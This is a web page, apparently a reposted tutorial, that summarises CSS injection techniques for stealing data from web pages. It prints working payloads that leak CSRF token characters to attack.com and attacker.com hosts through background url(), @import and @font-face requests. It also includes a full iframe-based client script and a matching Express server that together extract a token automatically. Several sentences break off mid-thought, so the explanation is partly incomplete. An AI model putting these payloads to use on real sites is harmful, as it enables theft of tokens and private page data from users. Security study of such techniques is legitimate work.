CSS injection knowledge summary
|
Modern browsers no longer allow JavaScript to be executed in CSS. In the past, CSS injection could use the JavaScript protocol to execute JavaScript code in url() and expression() to achieve XSS. However, CSS injection is still very useful in stealing data. Let’s analyze them one by one below. CSS injection steals tag attribute data Attribute selectors can be used in CSS to select tags based on different attributes. For example, the following CSS selects the p tag that has an a attribute and whose value is abc.
<style>p[a="abc"]{ color: red;}</style>
<pa="abc">hello world</p>Attribute selectors can also match certain characteristics of values, such as starting with XXX, ending with XXX, etc.
Using the above properties we can use it to steal data in the page tag attributes. For example, when csrfToken starts with a certain letter, the attacker can be notified through url() to steal the first digit of csrfToken.
<style>
input[value^="0"] {
background: url(http://attack.com/0);
}
input[value^="1"] {
background: url(http://attack.com/1);
}
input[value^="2"] {
background: url(http://attack.com/2);
}
...
input[value^="Y"] {
background: url(http://attack.com/Y);
}
input[value^="Z"] {
background: url(http://attack.com/Z);
}
</style>
<input name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">The first one is Z, then steal the second one
<style>
input[value^="Z0"] {
background: url(http://attack.com/0);
}
...
input[value^="ZZ"] {
background: url(http://attack.com/Z);
}
</style>
<input name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">Solve hidden Of course there is still a problem. When the tag One solution is to use the ~ CSS sibling selector to set the background for all subsequent sibling nodes.
input[value^="Z"] ~*{
background: url(http://attack.com/Z);
}Batch Implementation Of course, if the number of digits is shorter and the possibilities are fewer we can list them all, but there are usually too many, so we need to use tricks to get them in batches. Assume that the target website with CSS injection is as follows, and the goal is to steal the csrfToken value in the input tag.
<!DOCTYPE html>
<html>
<head>
<title>CSS injection</title>
</head>
<body>
<input type=hidden name="csrfToken" value=<?=md5(date("h"))?>>
<input type="" name="">
<style><?php echo $_GET['css']?></style>
</body>
</html>With iframe When the response header of a website with CSS injection is not protected by There is a problem here. How does the server instruct the front-end js to construct the CSS? Just like in the example above, if the first bit stolen is Z, then the second payload should start with Z. The following payload comes from https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d The idea is that the front-end js uses setTimeout to periodically request the server, and the server returns the token obtained by injecting css.
<html>
<style>
#frames {
visibility: hidden;
}
</style>
<body>
<div id="current"></div>
<div id="time_to_next"></div>
<div id="frames"></div>
</body>
<script>
vuln_url = 'http://127.0.0.1:8084/vuln.php?css=';
server_receive_token_url = 'http://127.0.0.1:8083/receive/';
server_return_token_url = 'http://127.0.0.1:8083/return';
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split("");
known = "";
function test_char(known, chars) {
// Remove all the frames
document.getElementById("frames").innerHTML = "";
// Append the chars with the known chars
css = build_css(chars.map(v => known + v));
// Create an iframe to try the attack. If `X-Frame-Options` is blocking this you could use a new tab...
frame = document.createElement("iframe");
frame.src = vuln_url + css;
frame.style="visibility: hidden;"; //gotta be sneaky sneaky like
document.getElementById("frames").appendChild(frame);
// in 1 seconds, after the iframe loads, check to see if we got a response yet
setTimeout(function() {
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", known_listener);
oReq.open("GET", server_return_token_url);
oReq.send();
}, 1000);
}
function build_css(values) {
css_payload = "";
for(var value in values) {
css_payload += "input[value^=\""
+ values[value]
+ "\"]~*{background-image:url("
+ server_receive_token_url
+ values[value]
+ ")%3B}"; //can't use an actual semicolon because that has a meaning in a url
}
return css_payload;
}
function known_listener () {
document.getElementById("current").innerHTML = "Current Token: " + this.responseText;
if(known != this.responseText) {
known = this.responseText;
test_char(known, chars);
} else {
known = this.responseText;
alert("CSRF token is: " + known);
}
}
test_char("", chars);
</script>
</html>The server code was written by me to match its payload.
var express = require('express');
var app = express();
var path = require('path');
var token = "";
app.get('/receive/:token', function(req, res) {
token = req.params.token;
console.log(token)
res.send('ok');
});
app.get('/return', function(req, res){
res.send(token);
});
app.get('/client.html', function(req, res){
res.sendFile(path.join(__dirname, 'client.html'));
})
var server = app.listen(8083, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})Another method is to write the token into a cookie through the server and periodically check whether the cookie has changed. I also found that some masters used websocket to implement it more elegantly. https://gist.github.com/cgvwzq/f7c55222fbde44fc686b17f745d0e1aa No iframe https://github.com/dxa4481/cssInjection Here is a method of injection without iframe. The principle is also very simple. Since we cannot use iframe to introduce the vulnerable page, we can continuously open a new window through This article also proposes a solution without a background server, using @import Using the @import feature in Chrome, this method is proposed in this article: https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b The advantage of this method is that you can get all the tokens without refreshing the page and no iframe is required, but the disadvantage is that it can only be used in Chrome, and according to its characteristics, it must be injected into the style tag header. In addition to the common
But @import must be declared first in the style sheet header, and the semicolon is required. The stylesheet introduced by When implementing the above effect, Chrome recalculates the other style sheets of the page every time the @import external style sheet is returned. We can use this feature to nest @import and obtain the entire token with one request. This is a picture from his article, very vivid.
This figure assumes that the length of the data to be stolen is 3. The first injected CSS content is @import url(http://attacker.com/staging);, which returns
At this time, the page needs to get The article also provides an open-source tool to exploit this vulnerability, which is very simple to use. https://github.com/d0nutptr/sic Steal tag content data Stealing tag content data is relatively troublesome. There was a question about this in last year’s xctf final. Guessing using unicode-range According to the idea of https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html, you can specify the font description
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>Of course, this only tells you which characters are included, and it becomes meaningless when there are too many characters. But it's a good idea and may be useful in certain situations. Using Ligatures This is the method that xctf masters used to solve problems last year. In short, a ligature is a combination of several characters. You can search on Baidu for more information. Here we can create a font ourselves, in which the width of all characters is set to 0, and the width of the ligature flag is set to be very large. At this time, if This way we can keep guessing backwards. The details of creating fonts and payloads are provided here. Summarize This is the end of this article about the summary of CSS injection knowledge. For more relevant CSS injection content, please search for previous articles on 123WORDPRESS.COM or continue to browse the related articles below. I hope everyone will support 123WORDPRESS.COM in the future! |
<<: Writing High-Quality Code Web Front-End Development Practice Book Excerpts
Recommend
Usage and execution process of http module in node
What is the role of http in node The responsibili...
mysql-8.0.15-winx64 uses the zip package to install and the service is shut down immediately after starting
The MySQL version used in this example is mysql-8...
MySQL quickly inserts 100 million test data
Table of contents 1. Create a table 1.1 Create te...
MySQL Binlog Data Recovery: Detailed Explanation of Accidentally Deleting a Database
MySQL Bin log data recovery: accidentally delete ...
How to build a SOLO personal blog from scratch using Docker
Table of contents 1. Environmental Preparation 2....
vue-cropper plug-in realizes the encapsulation of image capture and upload component
The specific code for encapsulating the image cap...
The difference between where and on in MySQL and when to use them
When I was writing join table queries before, I a...
Several ways to implement inheritance in JavaScript
Table of contents Structural inheritance (impleme...
How to Rename a Group of Files at Once on Linux
In Linux, we usually use the mv command to rename...
MySQL Constraints Super Detailed Explanation
Table of contents MySQL Constraint Operations 1. ...
Detailed explanation of how to create multiple instances of MySQL 5.6 in centos7 environment
This article describes how to create multiple ins...
Native js to achieve simple carousel effect
This article shares the specific code of js to ac...
MySQL query optimization: a table optimization solution for 1 million data
1. Query speed of two query engines (myIsam engin...
Detailed steps for Spring Boot packaging and uploading to Docker repository
Important note: Before studying this article, you...
Detailed explanation of the role of brackets in AngularJS
1. The role of brackets 1.1 Square brackets [ ] W...